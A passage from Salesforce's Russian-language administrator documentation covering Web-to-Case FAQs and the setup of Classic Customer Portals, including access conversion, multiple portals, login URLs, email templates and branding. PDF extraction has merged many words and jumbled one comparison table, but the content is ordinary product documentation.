
Новым веб-обращениям присваивается статус, выбранный администратором по умолчанию в раскрывающемся списке
«Статус обращения». Стандартное значение поля «Происхождение» определяется администратором при настройке
функции Web-to-Case.

СМ. ТАКЖЕ:

Функция Web-to-Case. Вопросы и ответы

Как гарантировать сохранность обращений?

Если организация превышает ежедневное ограничение для функции Web-to-Case, то ответственный за обращение по
умолчанию, указанный на странице «Параметры поддержки», получает сообщение эл. почты, содержащее сведения о
дополнительных обращениях. Если обращение не может быть создано ввиду ошибок, возникших во время настройки
функции Web-to-Case, то уведомлениеоданнойпроблемеотправляется в службуподдержки, котораяпоможет еерешить.

Если организация использует функцию On-Demand Email-to-Case, то компания Salesforce гарантирует сохранность
обращений, отправленных во время планового простоя системы Salesforce.

СМ. ТАКЖЕ:

Функция Web-to-Case. Вопросы и ответы

Как вычисляется параметр «Продолжительность» в отчетах по обращениям?

Продолжительность открытого обращения — это период с момента его создания до настоящего времени.
Продолжительность закрытого обращения — это период с момента его создания и до закрытия. Отчетыпо обращениям
содержат раскрывающийся список «Единицы», которыйпозволяет просматриватьпродолжительность в днях, часах или
минутах.

СМ. ТАКЖЕ:

Поля обращений

Функция Web-to-Case. Вопросы и ответы

Как избежать спама при использовании функции Web-to-Case?

Ниже перечислены рекомендации по блокировке спама при использованииформ Web-to-Case.

• Создание правил проверки.

• Использование технологии CAPTCHA.

• Использование веб-служб.

СМ. ТАКЖЕ:

Функция Web-to-Case. Вопросы и ответы
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Клиентские порталы

Настройка клиентского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки и
обновления клиентского
портала:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Клиентский портал Salesforce — это канал оперативной поддержки, позволяющий
клиентам решать возникшие вопросы без обращения к представителю службы
поддержки. Клиентский портал позволяет настраивать привлекательный
пользовательскийинтерфейсииспользовать перечисленныенижеполезныефункции
Salesforce.

• Определениедоступныхстранициполейпосредствоммакетовстраниципараметров
безопасности поля

• Управление клиентами посредством профилей, наборов полномочий, ролей и
правил общего доступа

• Хранение и систематизация документов посредством Salesforce CRM Content или
вкладки «Документы»

• Создание базы знаний для клиентов посредством Salesforce Knowledge

• Предоставление клиентам возможности участия в сообществах «Идеи»

• Отображение и сбор уникальных данных посредством настраиваемых объектов

• Создание настраиваемых отчетов посредством вкладки «Отчеты»

Прим.: Пользователимассового портала доступны клиентскимпорталамили сообществам, предназначеннымдля
большогоколичествапользователей (отнескольких тысячдонесколькихмиллионов). См. раздел «Общиесведения
о пользователях массового портала» на странице 2691.

Чтобы настроить клиентский портал, выполните указанные ниже действия.

1. Включите клиентский портал.

2. Создайте как минимум один портал.

Для каждого портала:

a. Настройте параметры ишаблоны сообщений.

Чтобыстандартизироватьшаблонысообщений, отправляемыхпользователямвсехклиентскихпорталов, щелкните
ссылку «Задать стандартныешаблоны эл. почты для всех клиентских порталов» в разделе «Инструменты»
на страниценастройкиклиентскогопортала.Дополнительнуюинформациюсм. вразделе «Созданиенескольких
клиентских порталов» на странице 2653.

Мастерпреобразованиядоступапользователяпорталаотображается автоматическипосленачальногосохранения
параметров первого клиентского или партнерского портала. Данный мастер позволяет заблокировать доступ
пользователей портала к записям и папкам, принадлежащим пользователям Salesforce.
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b. Настройте шрифты и цвета.

c. Настройте доступные вкладки и порядок вкладок.

d. Настройте языки портала.

3. При необходимости (если поддерживается текущими лицензиями пользователя портала) включите Salesforce CRM
Content, идеи, ответы, управление правами или Salesforce Knowledge.

4. Создайте профили клиентского портала.

Для каждого профиля:

a. Настройте макеты страниц. См. раздел «Настройка страниц клиентского портала».

Рекомендации по настройке и общую информацию о страницах клиентского портала Salesforce см. в разделе
«Советы и рекомендации по настройке страниц клиентского портала» на странице 2678.

b. Настройте списковые представления.

Пользователи клиентского портала могут автоматически просматривать любые списковые представления с
параметрамидоступности, помеченнымикак «Доступно всем пользователям». Рекомендуемсоздать специальные
списковые представления для всех объектов, доступных пользователям портала, и назначить пользователям
портала только нужные списковые представления.

c. Настройте макеты поиска.

Макеты поиска в организациях Salesforce аналогичны макетам поиска, используемым на клиентском портале.
Убедитесь, чтомакетыпоиска для объектов, доступныхпользователямпортала, содержат только те поля, которые
должны отображаться в результатах поиска.

5. Настройте бизнес-правила.

a. Настройте бизнес-правила или правила назначения обращений, чтобы автоматически назначать обращения,
созданные пользователями портала, пользователям или очередям Salesforce посредством критерия «"Текущий
пользователь": "Тип пользователя" содержит "Клиентский портал"».

Чтобы активировать правила назначения обращений на клиентском портале, установите флажок «Выбрать
флажок "Назначение обращения" по умолчанию» в макетах страниц обращений, назначенных профилям
портала. Данные флажки не отображаются пользователям портала на клиентском портале. Обратите внимание,
что правила назначения срабатывают при создании и редактировании обращения. Чтобы предотвратить
автоматическое переназначение обращений, редактируемых пользователями портала, добавьте запись правила
посредствомкритерия «"Текущий пользователь": "Тип пользователя" содержит "Клиентский портал"» иустановите
флажок «Не переназначать пользователя».

b. Чтобыотправлять пользователямпортала автоматические ответы при создании обращенийна портале, создайте
предупреждения бизнес-правил или правила автоматического ответа по обращениям.

6. Настройте доступ пользователя портала.

7. Предоставьте пользователям массового портала доступ к объектам.

8. При необходимости включите функцию единой регистрации.

9. Включите вход для каждого клиентского портала.

10. Добавьте ссылку портала на корпоративный веб-сайт.
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Чтобы разрешить пользователям доступ к клиентскому порталу, скопируйте значение поля «URL-адрес входа» в
параметрах портала и вставьте в HTML-код корпоративного веб-сайта. Дополнительную информацию см. в разделе
«Включение входа и параметров клиентского портала» на странице 2655.

11. Разрешите контактам использование портала.

Прим.: Дополнительнуюинформациюоб активации клиентского портала можнополучить в компании Salesforce.

СМ. ТАКЖЕ:

Ограничения по настройке клиентского портала

Создание нескольких клиентских порталов

Включение единой регистрации для порталов

Настройка многоязычных HTML-сообщений для клиентских порталов

Какие клиентские порталы могут быть созданы посредством системы Salesforce?

Система Salesforce поддерживает три способа управления клиентами. В таблице ниже описаны основные различия.

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для новых организаций. Текущие
организации могут использовать портал самообслуживания в обычном режиме.

Портал самообслуживанияКлиентский портал
Salesforce

Chatter Answers

Данныйпорталпредоставляет
клиентам доступ к каналу

Данныйпорталпредоставляет
клиентам доступ к каналу

Данныйпорталпредоставляет
клиентам доступ к

Назначение

оперативной поддержки,оперативной поддержки,веб-сообществу,
позволяющему решатьпозволяющему решатьпозволяющему решать
вопросы без обращения к
агенту службы поддержки.

вопросы без обращения к
агенту службы поддержки.

вопросы путем обращения к
другимучастникамсообщества
илиагенту службыподдержки.

Настраиваемый посредством
каскадной таблицы стилей

Сверхнастраиваемый
посредством интерактивного

Сверхнастраиваемый
посредством интерактивного

Интерфейс
пользователя

(CSS) или интерактивного
редактора.

редактора; функции
аналогичныфункциям
Salesforce (например,

редактораистраницVisualforce;
поддержка функций Salesforce
(например, «Ответы»,

полномочия, настраиваемыеклиентский портал, Force.com
Sites и Salesforce Knowledge). объекты, правила общего

доступа и веб-вкладки).

Поддерживаемые
типы записей

• Обращения• Действия• Статьи

• ••Обращения РешенияАктивы

•• ОбращенияВопросы (ответы)

• Документы

• Решения

• Настраиваемые объекты
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Портал самообслуживанияКлиентский портал
Salesforce

Chatter Answers

1Дополнительную
информациюможнополучить
в компании Salesforce.

Дополнительную
информациюможнополучить
в компании Salesforce.

Количество

Административные
элементы
управления

• Создание имен
пользователей и паролей
для портала
самообслуживания

• Настройка внешнего вида
клиентского портала

• Настройка внешнего вида
сообщества

• •Модерирование вопросов
и ответов

Создание имен
пользователей и паролей
для клиентского портала • Управлениеинформацией

о пользователях портала
самообслуживания

• Создание имен
пользователей и паролей • Управлениеинформацией

о пользователях
клиентского портала

• Управлениеинформацией
о пользователях
клиентского портала • Управление

пользователями• Управление
пользователями клиентского портала

посредством полномочий,клиентского портала
ролей и правил общего
доступа

посредством полномочий,
ролей и правил общего
доступа

НетКомпонент «Приветствие
клиентского портала»
позволяет изменить:

Щелкните «Редактировать
мои параметры», чтобы
изменить:

Пользовательские
элементы
управления

• Имя пользователя на
портале

• Имя пользователя в
сообществе

• Пароль в сообществе • Пароль на портале

• Регион• Регион

• Язык • Язык

• Часовой пояс• Часовой пояс

• Параметры уведомлений • Контактные данные

• Контактные данные

Прим.: Чтобы активировать конкретный портал для организации, обратитесь в компанию Salesforce.
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Включение клиентского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения клиентского
портала:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Чтобы включить клиентский портал Salesforce, выполните указанные ниже действия.

1. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры клиентского портала».

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить клиентский портал».

4. Нажмите кнопку «Сохранить».

5. Выполните настройку портала.

Советы по включению клиентского портала

Ниже перечислены рекомендации по включению клиентского портала.

• Послевключенияклиентскогопорталапользовательможетсоздатьнесколькоклиентскихпорталов, удовлетворяющих
различным бизнес-требованиям клиентов.

• Ниже перечислены компоненты, доступные после включения клиентского портала.

– Профили «Массовый клиентский портал», «Проверенный веб-узел», «Менеджер клиентского портала» и
«Пользователь клиентского портала» (при наличии соответствующих лицензий пользователя).

– Кнопки «Включитьпользователяклиентскогопортала»и «Просмотрпользователяклиентскогопортала»
на страницах сведений о контактах и организациях-лицах.

– Группы «Все пользователи клиентского портала» и «Все внутренние пользователи», а также категория правил
общего доступа «Роли и внутренние подчиненные роли».

• Включение клиентского портала является необратимым. Тем не менее, пользователям может быть запрещен вход на
портал. См. раздел «Включение входа и параметров клиентского портала» на странице 2655.

СМ. ТАКЖЕ:

Настройка клиентского портала
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Рекомендации по использованию мастера преобразования доступа пользователя портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки правил
общего доступа:
• «Управление общим

доступом»

Пользователи клиентского и партнерского порталов отображаются в иерархии ролей,
но являются внешними контактами, которым должны быть недоступны внутренние
данные организации. При настройке клиентского или партнерского портала доступен
мастер преобразования доступа пользователя портала, позволяющий заблокировать
доступ пользователя портала к записям или папкам.

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Ниже перечислены компоненты организации Salesforce, поддерживаемые мастером.

Правила общего доступа
Мастер преобразования доступа пользователя портала преобразует любые правила
общего доступа, использующие категорию набора данных «Роли, внутренние
подчиненные роли и подчиненные роли портала», в правила общего доступа,
использующие категорию набора данных «Роли и внутренние подчиненные роли».

Категория набора данных «Роли и внутренние подчиненные роли» позволяет создавать правила общего доступа,
содержащиевсехпользователейвыбраннойролиивсехпользователейнижестоящихролей, кромеролейклиентского
и партнерского порталов.

Преобразование категории «Роли, внутренниеподчиненные ролииподчиненные ролипортала» в категорию «Роли
и внутренниеподчиненныероли» инициирует обновление только единыхправилобщего доступа. Категория «Роли,
внутренние подчиненные роли и подчиненные роли портала» для очередей, общедоступных групп, списковых
представлений, документов и ручного общего доступа, созданная для определенных записей путем нажатия кнопки
«Общий доступ», не преобразуется в категорию «Роли и внутренние подчиненные роли».

Прим.: Категориянабораданных «Роли, внутренниеподчиненныеролииподчиненныеролипортала» доступна
в организации только после создания как минимум одной роли в иерархии ролей.

Категория набора данных «Роли и внутренние подчиненные роли» доступна в организации только после
создания как минимум одной роли в иерархии ролей и включения портала.

Общий доступ к папке

Мастер преобразования доступа пользователя портала позволяет автоматически преобразовывать уровни доступа
любыхпапокотчетов, панелеймониторингаилидокументов, доступных категории «Роли, внутренниеподчиненные
роли и подчиненные роли портала», в более строгий уровень доступа: «Роли и внутренние подчиненные роли».
Данное действие позволяет заблокировать доступ пользователей клиентского и партнерского порталов к папкам.
Использованиемастерапозволяетизбежатьпоискаразныхпапокв системе Salesforceиназначенияихуровнейдоступа.

Папки, доступные всем пользователям или общедоступным группам, не преобразуются. Уровни доступа к данным
папкам должны быть обновлены вручную.
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После первоначального сохранения клиентского или партнерского портала система Salesforce отображает мастер
преобразования доступа пользователя портала автоматически.

СМ. ТАКЖЕ:

Использование мастера преобразования доступа пользователя портала

Настройка доступа пользователей к клиентскому порталу

Использование мастера преобразования доступа пользователя портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки правил
общего доступа:
• «Управление общим

доступом»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Принастройкеклиентскогоилипартнерскогопорталадоступенмастерпреобразования
доступапользователяпортала, позволяющийзаблокироватьдоступпользователяпортала
к записям или папкам.

Чтобы воспользоваться мастером, выполните указанные ниже действия.

1. Чтобы настроить клиентский портал, введите строку «Параметры клиентского
портала» вполе «Быстрый поиск» вменю «Настройка», затемвыберите«Параметры
клиентского портала». Для перехода к партнерскому порталу введите строку
«Параметры» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Параметры».

2. Щелкните ссылку «Преобразовать доступ пользователя портала».

3. Установите флажки напротив нужных правил общего доступа.

Если нужные правила общего доступа отсутствуют, перейдите к следующему действию, позволяющему
преобразовывать уровень доступа к папкам.

4. Нажмите кнопку «Далее».

5. Установите флажки напротив нужных папок.

Папки, доступные всем пользователям или общедоступным группам, не преобразуются. Уровни доступа к данным
папкам должны быть обновлены вручную.

Отдельныепапкимогутотображатьсявнесколькихстрокахмастера. Даннаяособенностьобусловленаотображением
строкидля каждой категории «Роль, внутренниеподчиненныеролииподчиненныеролипортала», имеющейдоступ
к папке.

6. Нажмите кнопку «Далее».

7. Чтобы применить выбранные изменения, нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Рекомендации по использованию мастера преобразования доступа пользователя портала
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Создание нескольких клиентских порталов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания нескольких
клиентских порталов:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

После включенияклиентскогопортала Salesforceпользовательможет создатьнесколько
клиентских порталов, удовлетворяющих различным бизнес-требованиям клиентов.

Чтобы создать клиентские порталы, выполните указанные ниже действия.

1. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры клиентского портала».

2. Нажмите кнопку «Создать».

3. Выполните действия, аналогичные созданию первого клиентского портала
организации. См. раздел «Настройка клиентского портала» на странице 2646.

Прим.: Дополнительную информацию о количестве клиентских порталов,
доступном для активации, можно получить в компании Salesforce.

Прежде чем приступить к пакетному созданию клиентских порталов, просмотрите перечисленные ниже советы и
рекомендации.

Советы по внедрению

• Пользователи портала могут входить только на клиентские порталы, назначенные их профилям. Чтобы назначить
профиль клиентскому порталу, выберите имя портала на странице настройки клиентского портала, нажмите кнопку
«Редактироватьпрофили» вразделе «Назначенныепрофили» иустановитефлажок «Активно» напротивнужного
профиля.

Пользователю портала доступны все клиентские порталы, назначенные его профилю, посредством одних
регистрационных данных.

Чтобыпросмотреть количество активныхпользователей, связанных с каждымпрофилем, назначеннымклиентскому
порталу, создайте настраиваемый сводный отчет и добавьте столбец «Профиль».

• URL-адрес входа для каждого создаваемого клиентского портала содержит уникальный идентификатор (например,
portalId=060D00000000Q1F). Уникальный идентификатор определяет портал, доступный пользователю. Если
используемый URL-адрес входа не содержит уникального идентификатора, то пользователь автоматически
перенаправляется на URL-адрес входа для первого созданного клиентского портала. Обратите внимание, что
пользователипорталамогут выполнять входна клиентскийпортал толькопосредствомспециальнойстраницывхода,
а не страницы входа в систему Salesforce.

• Ниже перечислены элементы, параметры которых применяются к организации и клиентским порталам.

– Списковые представления

– Макеты поиска

– Правила назначения обращений
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– Предупреждения бизнес-правил

Рекомендации

• Каждыйсозданныйклиентскийпорталподдерживаетнастройкушрифтов, цветов, шаблоновэл. почтыиприветствий,
поэтому организации могут создавать разные клиентские порталы для каждого продукта и уровня обслуживания
клиентов. Например, организация может создать уникальный клиентский портал для каждого уровня обслуживания
клиентов (золотой, серебряный и бронзовый).

Прим.:  JavaScript и код CSS автоматически удаляются из HTML-файлов, используемых в качестве приветствия
при входе на портал.

• Чтобы стандартизироватьшаблоны сообщений, отправляемых пользователям всех клиентских порталов, щелкните
ссылку «Задать стандартныешаблоны эл. почты для всех клиентских порталов» в разделе «Инструменты» на
странице настройки клиентского портала. Данные параметры определяютшаблоны эл. почты, которые должны
использоватьсядляотправкиэлектронныхуведомлений (например, придобавленииновогокомментариякобращению
иливосстановлениипароля) пользователямпортала, профиликоторыхсвязаныснесколькимиклиентскимипорталами.

По умолчанию образцышаблонов автоматически выбираются в полях поиска «Шаблон создания пользователя»,
«Шаблон создания пароля» и «Шаблон восстановления пароля». Поляпоиска «Шаблон создания комментария»
и «Шаблон смены ответственного на пользователя портала» не поддерживают автоматический выбор образцов
шаблонов. Данные поля должны быть заполнены вручную, чтобы пользователи, профили которых связаны с
несколькимиклиентскимипорталами, моглиполучать электронные уведомленияодобавленииновых комментариев
кобращениямилиназначенииответственностиза записьна клиентскомпортале. Пользователямпорталамогутбыть
отправленышаблоны эл. почты, помеченные как «Доступно для использования».

Совет: Стандартныешаблоныэл. почтыотправляютсяпользователямнесколькихклиентскихпорталов, поэтому
должны создаваться без применения специализированного фирменного стиля.

• Клиентский портал не может быть удален. Чтобы запретить пользователям вход на портал, снимите флажок «Вход
включен». Дополнительную информацию см. в разделе «Включение входа и параметров клиентского портала» на
странице 2655.

• При необходимости создайте несколько клиентских порталов, отображающих разные вкладки для пользователей с
одинаковымпрофилем, приусловии, чтопрофилюдоступнывсеобъекты, отображаемыенавкладке. Дополнительную
информацию см. в разделе «Настройка вкладок клиентского портала» на странице 2666.

СМ. ТАКЖЕ:

Настройка клиентского портала

Общие сведения об управлении пользователями клиентского портала
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Включение входа и параметров клиентского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения входа и
параметров клиентского
портала:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

1. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры клиентского портала».

2. Щелкнитессылку«Правка»напротивименинужногоклиентскогопорталаSalesforce.

3. Заполните поля ниже.

ОписаниеПараметр

Имяклиентскогопортала, отображаемое
на страницах просмотра и
редактирования сведений о портале, а
также на странице «Настройка

Имя

клиентского портала». Имя клиентского
портала не отображается на страницах
портала, но отображается в строке
заголовка обозревателя.

Имя портала должно быть уникальным
для организации и не может
использоваться клиентским или
партнерским порталом. Более того, имя
«партнерский портал», указанное для
клиентского портала, может вызвать
возникновение ошибки.

Описание клиентского портала,
отображаемое на страницах просмотра

Описание

и редактирования сведений о портале.
Описание клиентского портала не
отображается на страницах портала.

Данный параметр позволяет
пользователям входить на клиентский
портал.

Преждечемустановитьданныйфлажок,
выполните действия, описанные в

Вход включен

разделе «Настройка клиентского
портала».
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ОписаниеПараметр

Прим.: Восстановлениепаролейвозможнотолько
при наличии доступа к клиентскому порталу, а
также при использовании диапазона IP-адресов и
времени входа, заданных в профиле пользователя.

Чтобы выбрать стандартного администратора

клиентского портала, щелкните значок поиска ( ).

Администратор

Данный пользователь Salesforce будет получать все
электронные уведомления о самостоятельной
регистрации пользователей на клиентском портале.

Уведомлениясодержатсведенияобошибкахрегистрации
ипрочихпроблемах, возникающихприсамостоятельной
регистрации клиентов (например, случайный ввод
повторяющихся адресов эл. почты, создание
повторяющихся записей контактов и превышение
ограничения по количеству лицензий пользователя,
приобретенных организацией).

Администраторклиентскогопорталаможетбытьвыбран
изчислапользователей, которымназначенополномочие
«Редактирование пользователей портала
самообслуживания». Болеетого, пользователь, выбранный
в качестве администратора портала, не может быть
деактивирован.

Стандартные параметры портала

ОписаниеПараметр

URL-адресвеб-страницы, отображающейсяпользователям
при входе на клиентский портал.

Данный URL-адреспозволяетвходитьивзаимодействовать
с порталом.

URL-адрес входа

Чтобы предоставить пользователям возможность входа
на клиентский портал, добавьте данный URL-адрес на
корпоративный веб-сайт.

URL-адрес входа для каждого созданного клиентского
порталасодержитуникальныйидентификатор (например,
portalId=060D00000000Q1F). Уникальныйидентификатор
определяет портал, доступный пользователю. Если
используемый URL-адрес входане содержитуникального
идентификатора, то пользователь автоматически
перенаправляется на URL-адрес входа для первого
созданного клиентского портала. Обратите внимание,
что пользователи портала могут выполнять вход на
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Стандартные параметры портала

ОписаниеПараметр

клиентский портал только посредством специальной
страницы входа, а не страницы входа в систему Salesforce.

URL-адресвеб-страницы, отображающейсяпользователям
после выхода из клиентского портала (например,

URL-адрес выхода

http://www.acme.com). Впротивномслучаепользователям
отображается страница входа.

Категория верхнего уровня, доступная клиентам на
клиентскомпортале. Всерешения даннойкатегориии ее

Категория верхнего уровня для портала

подкатегорий, помеченные как «Отображается на
портале самообслуживания», доступны клиентам для
просмотра.

Данное поле доступно только при использовании
функции обзора решений. См. раздел «Настройка
параметров решений» на странице 3131.

Данный параметр позволяет пользователям закрывать
обращениянаклиентскомпорталепрямовпредложенных

Включить самостоятельное закрытие обращений из
предложенных решений

решениях. Например, чтобы закрыть обращение,
щелкните «Да, закрыть мое обращение» прямо в
просматриваемом предложенном решении.

Данный параметр позволяет пользователям
просматриватьсообщения-подтвержденияовыполнении

Показать подтверждение о выполнении действия

действияна клиентскомпортале. Например, еслиданный
параметр включен, то после создания обращения на
клиентском портале пользователю отображается
сообщение «Обращение отправлено».

Сообщения-подтверждения позволяют пользователям
просмотреть действия, выполненные на клиентском
портале.

Данный параметр определяет язык отображения
HTML-сообщенийпортала, если HTML-сообщенияпортала

Язык по умолчанию для HTML-сообщений

на настраиваемом языке не используются. Данный
параметрдоступентолькомногоязычныморганизациям.

Параметры электронных уведомлений

ОписаниеПараметр

Адрес эл. почты, используемый для отправки всех
шаблонов сообщений клиентского портала (например,

Адрес эл. почты отправителя

support@acme.com). Сообщения эл. почты отправляются
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Параметры электронных уведомлений

ОписаниеПараметр

системой Salesforce автоматически, но данный адрес
отображается в поле отправителя. Ответ пользователя
портала на шаблон сообщения отправляется на данный
адрес.

Имя, связанное с параметром «Адрес эл. почты
отправителя» (например, «Служба поддержки Acme»).

Имя эл. почты отправителя

Шаблон эл. почты, используемый для отправки имени
пользователя и исходного пароля всем новым и

Шаблон создания пользователя

самостоятельно зарегистрированным пользователям
клиентского портала. По умолчанию образец шаблона
выбирается автоматически. Принеобходимостисоздайте
собственныйшаблон или измените образец шаблона.
Пометьте шаблон флажком «Доступно для
использования».

Шаблон эл. почты, используемый для отправки нового
пароля текущимпользователямклиентскогопорталапри

Шаблон создания пароля

восстановлении паролей. По умолчанию образец
шаблонавыбираетсяавтоматически. Принеобходимости
создайте собственныйшаблон или измените образец
шаблона. Пометьте шаблон флажком «Доступно для
использования».

Шаблон эл. почты, используемый для отправки нового
пароля текущимпользователямклиентскогопорталапри

Шаблон восстановления пароля

восстановлении паролей посредством ссылки «Забыли
пароль?» на странице входа клиентского портала. По
умолчаниюобразецшаблонавыбирается автоматически.
При необходимости создайте собственныйшаблон или
измените образецшаблона. Пометьтешаблонфлажком
«Доступно для использования».

Шаблон эл. почты, используемый для отправки
уведомления пользователям клиентского портала при

Шаблон создания комментария

добавлении общедоступного комментария к одному из
обращений. Данныйшаблон должен быть помечен
флажком «Доступно для использования».

Шаблон эл. почты, используемый для отправки
уведомления пользователям клиентского портала при

Шаблон смены ответственного на пользователя портала

назначении ответственности за запись на портале.
Данныйшаблон должен быть помечен флажком
«Доступно для использования».
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Прим.: Чтобыстандартизироватьшаблонысообщений, отправляемыхпользователямвсехклиентскихпорталов,
щелкните ссылку «Задать стандартныешаблоны эл. почты для всех клиентских порталов» в разделе
«Инструменты» на странице настройки клиентского портала. Дополнительную информацию см. в разделе
«Создание нескольких клиентских порталов» на странице 2653.

Совет: Чтобыиспользоватьодиншаблонсообщениядляразныхролей (например, шаблонсменыответственного
на пользователя портала), рекомендуем дополнить шаблон текстовыми полями и полями слияния, которые
используются обоими объектами. Например, если организация использует настраиваемые объекты «Гарантия»
и «Обучение», тошаблонсменыответственногонапользователяпорталадолженсодержатьследующиетекстовые
поля и поля слияния: «Вам назначена новая запись. Код: {!Training.ID}{!Warranty.Id}.» При отправке шаблона
отображаются только соответствующие поля слияния.

Внешний вид

ОписаниеПараметр

Текстовыйили HTML-файл, которыйпозволяетдобавлять
фирменный стиль организации в верхний колонтитул

Верхний колонтитул

клиентскогопортала. Чтобывыбратьфайл, загруженный
в общедоступную папку на вкладке «Документы»,

щелкните значок поиска ( ).

Общий размер файлов, указанных в полях «Верхний
колонтитул» и «Нижний колонтитул», не должен
превышать 10 Кб.

Рекомендуем избегать одновременного использования
верхнего колонтитула и логотипа на портале, что может
инициировать их некорректное отображение.

Чтобы разместить ссылку выхода в любой области
верхнего колонтитула, воспользуйтесь следующим
HTML-тегом: “<a
href="/secur/logout.jsp">Выход</a>".

Текстовыйили HTML-файл, которыйпозволяетдобавлять
фирменный стиль организации в нижний колонтитул

Нижний колонтитул

клиентскогопортала. Чтобывыбратьфайл, загруженный
в общедоступную папку на вкладке «Документы»,

щелкните значок поиска ( ).

Общий размер файлов, указанных в полях «Верхний
колонтитул» и «Нижний колонтитул», не должен
превышать 10 Кб.

Графический файл, который позволяет добавлять
фирменный стиль организации в верхний левый угол

Логотип

клиентскогопортала. Чтобывыбратьфайл, загруженный
в общедоступную папку на вкладке «Документы», и
помеченный атрибутом «Доступен внешне как

изображение», щелкните значок поиска ( ).
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Внешний вид

ОписаниеПараметр

Размер файла, указанного в поле поиска «Логотип», не
должен превышать 20 Кб.

Рекомендуем избегать одновременного использования
верхнего колонтитула и логотипа на портале, что может
инициировать их некорректное отображение.

Текстовыйили HTML-файл, которыйпозволяетдобавлять
фирменный стиль организации в верхний колонтитул

Приветствие

страницы входа, страницы восстановления пароля и
страницы изменения пароля на клиентском портале.
Чтобы выбрать файл, загруженный в общедоступную
папку на вкладке «Документы», щелкните значок поиска

( ).

Размерфайла, указанного в поле поиска «Приветствие»,
не должен превышать 2 Кб.

Прим.:  JavaScript и код CSS автоматически
удаляются из HTML-файлов, используемых в
качестве приветствия портала.

Параметры самостоятельной регистрации

ОписаниеПараметр

Данный параметр позволяет текущим контактам
самостоятельнорегистрироватьсянаклиентскомпортале.

При установке данного флажка и добавлениифлажка
«Разрешить самостоятельную регистрацию на

Самостоятельная регистрация включена

клиентском портале» вмакетыстраницконтакты, записи
которых помеченыфлажком «Разрешить
самостоятельную регистрацию на клиентском портале»,
могут просматривать область самостоятельной
регистрации на странице входа клиентского портала.
Чтобы получить автоматически назначенное имя
пользователя и пароль для входа на клиентский портал,
введите адрес эл. почты и нажмите кнопку «Отправить»
в области самостоятельной регистрации. Ниже
перечислены другие электронные уведомления,
отправляемые пользователям относительно их статуса
регистрации.

• Текущийпользователь: данноеуведомлениепозволяет
вводить другой адрес эл. почты или выбирать ссылку
«Забыли пароль?» для получения пароля.
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Параметры самостоятельной регистрации

ОписаниеПараметр

